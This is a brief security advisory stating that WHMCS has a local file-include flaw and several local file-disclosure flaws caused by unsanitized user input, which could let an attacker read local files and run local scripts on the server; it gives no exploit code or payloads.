WHMCS Local File Include And Local File Disclosure Vulnerabilities

WHMCS is prone to a local file-include vulnerability and multiple local file-disclosure vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information from local files and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
